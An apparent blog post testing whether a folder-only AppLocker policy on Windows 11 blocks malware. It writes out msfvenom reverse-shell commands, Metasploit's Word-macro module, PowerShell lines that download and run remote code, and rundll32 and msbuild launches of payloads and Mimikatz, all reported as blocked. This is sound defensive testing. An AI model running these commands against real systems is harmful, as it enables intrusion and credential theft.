Applocker - Are Publisher Rules Necessary

This is a supplement to the Applocker vs Malware article that you should read first @ https://www.tenaka.net/applocker-vs-malware

I've comprehensively covered Applocker and its 'features' on this site from click-bait prevention with an out-of-the-box configuration to hardening Applocker to protect the protector from being circumvented. The latter's policy is a combination of Publisher, hash, file and folder approvals and denials.

Before I start, the following is not recommended, this is for exploratory testing and proof of concept of Applocker's behaviour.

Does Applokcer require all those Publisher approvals? Can the system be protected with only file and folder approvals and denies?

#Previous - Applocker vs Malware

The client is Windows 11 Enterprise x64 with no AV protection and all tests will be executed as the user, unless specified.

#The Policy - Approvals

Applocker will be configured with the following approval policy:

EXEs, MSIs, Scripts and DLLs are configured to approve any file in %ProgramFile% and %WinDir%, similar to the default rules.

#The Policy - Denies

Protection relies solely on preventing any bypass or escalation of code, denying any directory the user has 'Write' permission for EXEs, MSIs, Scripts and DLLs.

The following directory list is dynamic and changes with different installed languages. Download and run my Security Validation script (here) when non-US languages are installed.

C:\Windows\System32\LogFiles\WMI

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

C:\Windows\System32\Tasks

C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update

C:\Windows\SysWOW64\Tasks

C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update

C:\Windows\tracing

C:\Windows\PLA\Reports

C:\Windows\PLA\Reports\en-US

C:\Windows\PLA\Rules

C:\Windows\PLA\Rules\en-US

C:\Windows\PLA\Templates

C:\Windows\Registration\CRMLog

C:\Windows\servicing\Packages

C:\Windows\servicing\Sessions

C:\Windows\System32\Com\dmp

C:\Windows\System32\spool\drivers\color

C:\Windows\System32\spool\PRINTERS

C:\Windows\System32\spool\SERVERS

C:\Windows\System32\Tasks\Microsoft\Windows\PLA

C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System

C:\Windows\SysWOW64\Com\dmp

C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA

C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

C:\Windows\Tasks

C:\Windows\Temp

C:\Users

C:\ProgramData

To prevent Living off the Land by Microsofts signed programs I'm following Microsofts recommended deny list (here) as a baseline. I've added a few more to my list as part of an automated Applocker script to protect the system from various attacks (here).

The final config should look something like this.

#The Rematch

Simple, generate reverse shells with MSFVenom and execute whilst trying to bypass Applocker.

#EXE

Generate an exe with the following command.

Password1234msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe

Execution is prevented by denying C:\Users\*

#HTA

Generate a HTML Application Payload (HTA) with the following:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta

Execute the following command after downloading the .hta file to the local system.

mshta.exe C:\users\user\download\rev1.0.hta

Execution is prevented by denying mshta.exe, a signed Microsoft program.

#Word Macro

The following MSFConsole command generates a reverse shell for Microsoft Word.

use exploit/multi/fileformat/office_word_macro set TARGET 0 set lhost 10.0.0.1 set lport 8888

The Word Macro unpacks to an .exe, it's prevented from executing by denying execution within C:\Users\

#Powershell

Generate a reverse shell PS1 script with the following command.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1

Execution is prevented by denying C:\Users\*

#Powershell Web

Local PowerShell scripts are blocked, what of remote calls that load into memory!!

powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”

powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();"

Constrained Language mode is still protecting the system.

#DLL

The following command creates a DLL reverse shell.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.1.dll

Download and execute the following commands from the Windows client.

copy rev1.1.dll C:\Windows\Temp

rundll32.exe C:\Windows\Temp\rev1.1.dll,0

Execution is prevented by denying directories, in this case, C:\Windows\Temp, where the users can 'Write' and would have been an authorised path.

#Reverse Shell and MimiKatz as XML

The following command generates an XML reverse shell.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

Execute the following commands.

msbuild.exe C:\users\admin\downloads\mimikatz.xml

msbuild.exe C:\users\admin\downloads\rev1.5.xml

Execution is prevented by denying msbuild.exe, a signed Microsoft program.

#Standing Eight Count

Keeping with the boxing analogy for Applocker verses, I hope 'Standing Eight Count' is appropriate.

A correctly implemented Applocker policy as described above does prevent various types of malware from execution under the user context.

Execution is constrained to authorised named directories, 'Program Files' and 'Windows'.

Directories that allow the user to 'Write' deny any type of execution.

Is this approach recommended? No, the chances of maintaining the perfect deny policy is slim in the real real-world. Any exception to the deny ruleset leaves the system open to bypassing Applocker without any Publisher rules to fall back on.

Finally, I did this to better understand Applocker's behaviour, not as a serious method to implement. It does validate the benefits of configuring a deny policy.